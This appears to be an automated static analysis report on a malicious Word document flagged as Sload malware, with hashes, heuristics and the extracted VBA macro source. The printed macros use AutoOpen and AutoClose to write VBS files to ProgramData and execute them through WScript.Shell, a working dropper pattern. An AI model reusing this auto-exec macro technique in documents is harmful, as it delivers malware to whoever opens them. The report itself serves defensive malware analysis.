Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e6c1bfd8e406d93a…

MALICIOUS

Office (OOXML)

383.8 KB Created: 2020-07-26 09:42:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-07
MD5: 372ece0deda1280d74ab5f535b754af5 SHA-1: 693d77e3a4254a81a80a24b288c4b7e5b263b4b5 SHA-256: e6c1bfd8e406d93ac4efd82f7901e713d44b7326786bd76ba478b8e4f60f5b7a
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'autoopen' and 'autoclose' macros are present, indicating an attempt to execute code upon document interaction. These macros write content to 'C:\ProgramData\FErio.vbs' and 'C:\ProgramData\Blobers.vbs', suggesting they are used to drop a second-stage payload. The presence of 'CreateObject' and 'WScript.Shell' further supports the execution of external scripts.

Heuristics 8

  • ClamAV: Doc.Malware.Sload-9768539-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sload-9768539-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • External relationship medium OOXML_EXTERNAL_REL
    External target in word/_rels/settings.xml.rels: WScript.Shell
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2490 bytes
SHA-256: dc2c9722a94d63fd22563c6239d0b1ad8158079f682e829e95c5ec1de821b7fa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Loferiof"
Private Mamters
Sub autoopen()
Open "C:\ProgramData\FErio.vbs" For Binary As #1

Put #1, , "       ERROR PRINT     "
Put #1, , "            "
Put #1, , "     ERROR PRINT       "
Put #1, , "            "
Put #1, , "   0000000000000000000000         "
Put #1, , "            "
Put #1, , "            "
Put #1, , "          ERROR PRINT 00000000000000  "
Put #1, , "            "
Put #1, , "            "
Put #1, , "    0000000000000000000000000000000000000        "
Put #1, , "            "
Put #1, , "            "
Put #1, , "     ERROR PRINT       "
Put #1, , "            "
Put #1, , "            "
Put #1, , "   000000000000000000         "
Put #1, , "ERROR PRINT"


Close #1
   
Application.Quit SaveChanges:=False

End Sub
Sub autoclose()

Open "C:\ProgramData\Blobers.vbs" For Binary As #1
Put #1, , "                 "
Put #1, , "            "
Put #1, , "            "
Put #1, , "                      "
Put #1, , "            "
Put #1, , "            "
Put #1, , "                 "
Put #1, , "            "
Put #1, , "            "
Put #1, , "                 "
Put #1, , "            "
Put #1, , "                           "
Put #1, , "            "
Put #1, , "            "
Put #1, , "                           "
Put #1, , "            "
Put #1, , "            "
Put #1, , "                 "
Put #1, , "            "
Put #1, , "                 "
Put #1, , "            "
Put #1, , "            "
Put #1, , "                      "
Put #1, , "            "
Put #1, , "                      "
Put #1, , "                 "
Put #1, , "                 "
Put #1, , "            "

Put #1, , UserForm1.Label1.Caption


Close #1
   
Set Mamters = CreateObject(ThisDocument.XMLSaveThroughXSLT)
Mamters.Exec ThisDocument.DefaultTargetFrame


End Sub


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{6C675E21-F8A0-45BA-A61F-B0336F8A48CC}{440783F9-BD78-4F29-B631-7812DAB8EC25}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 150016 bytes
SHA-256: 7d3357a9dff44145a909845befaff5fdad571b0e214f26094eb01b6111d47eeb
Detection
ClamAV: Doc.Malware.Sload-9768539-0
Obfuscation or payload: unlikely